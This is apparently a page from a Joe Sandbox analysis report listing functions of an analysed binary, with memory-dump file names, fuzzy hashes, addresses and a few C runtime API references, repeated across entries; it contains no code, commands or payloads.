Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 621398ae794837723411d45e5c437110a46e40e04913a6dd0043547e35ed43eb
Instruction ID: 2ef50dac5be7e8ca07e2c98acb9c39dd23fba6617413c3e0c88ff37b746ddc9c
Opcode Fuzzy Hash: 621398ae794837723411d45e5c437110a46e40e04913a6dd0043547e35ed43eb
Instruction Fuzzy Hash: 316189B3F1212547F3484929CCA83A26683EBD5321F2F82788A695B7C5DC7E5D0A5384

Function 00394DE0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f41c63763488008af9ac0758d270a5353ae525ddf2bd4eef89c49dfabc3e6eb6
Instruction ID: ac8ba2ad30baf5a8fcd638cbf3d3ad645737317aae13bdb5b7b675f3c8771d43
Opcode Fuzzy Hash: f41c63763488008af9ac0758d270a5353ae525ddf2bd4eef89c49dfabc3e6eb6
Instruction Fuzzy Hash: FA224EB3F515144BDB4CCB9DDCA27EDB2E3AFD8218B0E803DA40AE3345EA79D9158644

Function 00394B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caa2189de32e6be384427e2656c73dca3744b33c2f13f4ec8b0a85f651da33dd
Instruction ID: eb6d9ae7d37c6b95832daf8cdcc7553539b2698b4b2d78f0eb761fdf06c8f7b6
Opcode Fuzzy Hash: caa2189de32e6be384427e2656c73dca3744b33c2f13f4ec8b0a85f651da33dd
Instruction Fuzzy Hash: 96810E75E052468FEB16CF68D890BFEBBB5FB1A300F150269D850A7793C3319946CBA0

Function 003D8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 7f1a001e1dbe3838751817780b6a65dacac7afaa4958eb04c3a220ae89407373
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 431108B760018243E607872DF8B45B7A795EAC53217AF437BD0928B758DA22B945B600

Function 003CA302 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 96a81dfb9a1e3a7b27f7b156499a524c8c22f8d6badca234ba9bafbbd1cdf7f3
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: CEE08C32921668EBCB16DB98C905E8AF3FCEB49B04B65059AF501D3151C370EE00C7D0

Function 00392EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00392F5F
__Mtx_unlock.LIBCPMT ref: 00392FCC
__Cnd_broadcast.LIBCPMT ref: 00392FE3
__Mtx_unlock.LIBCPMT ref: 003930F5
__Mtx_unlock.LIBCPMT ref: 0039319B

Memory Dump Source

Source File: 00000000.00000002.2243108041.0000000000391000.00000040.00000001.01000000.00000003.sdmp, Offset: 00390000, based on PE: true

Associated: 00000000.00000002.2243038820.0000000000390000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243108041.00000000003F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243260328.00000000003F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243292415.00000000003FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243360466.0000000000407000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243677274.0000000000563000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243726962.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243815919.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243915372.000000000059A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244051485.000000000059F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244273573.00000000005B5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244427081.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244636615.00000000005E8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244749308.00000000005E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244811297.00000000005EA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244873709.00000000005EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2244911236.00000000005EF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245032080.00000000005F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245142903.0000000000604000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245197017.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245302580.0000000000606000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245336103.0000000000609000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245393051.000000000060A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245443564.000000000060C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245480031.000000000060D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245566893.0000000000610000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245663750.0000000000618000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245688708.0000000000619000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245712397.000000000061A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245736188.0000000000621000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245764673.0000000000631000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245788240.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245833683.000000000063C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245860270.000000000065A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245965975.0000000000686000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2245986797.0000000000687000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246033716.0000000000688000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246051811.000000000068C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246083643.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246105252.000000000069C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2246193184.000000000069D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_390000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: e3c5bc66566f24e0408beb46beb986ce5b5cd7f781d572f73d0048b2b3bc63fb
Instruction ID: cdc05a620a1363bc7c88789290bbc3e30f7439b7822f8b0bd6a3b2421072806a
Opcode Fuzzy Hash: e3c5bc66566f24e0408beb46beb986ce5b5cd7f781d572f73d0048b2b3bc63fb
Instruction Fuzzy Hash: 9FA1E1B1A01605AFDF22DF64C845BAAB7B8FF15314F048529E816DB351EB35EA04CBD1

Function 003ABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 003ABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 003ABBE4
_xtime_get.LIBCPMT ref: 003ABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 003ABC13

Memory Dump Source

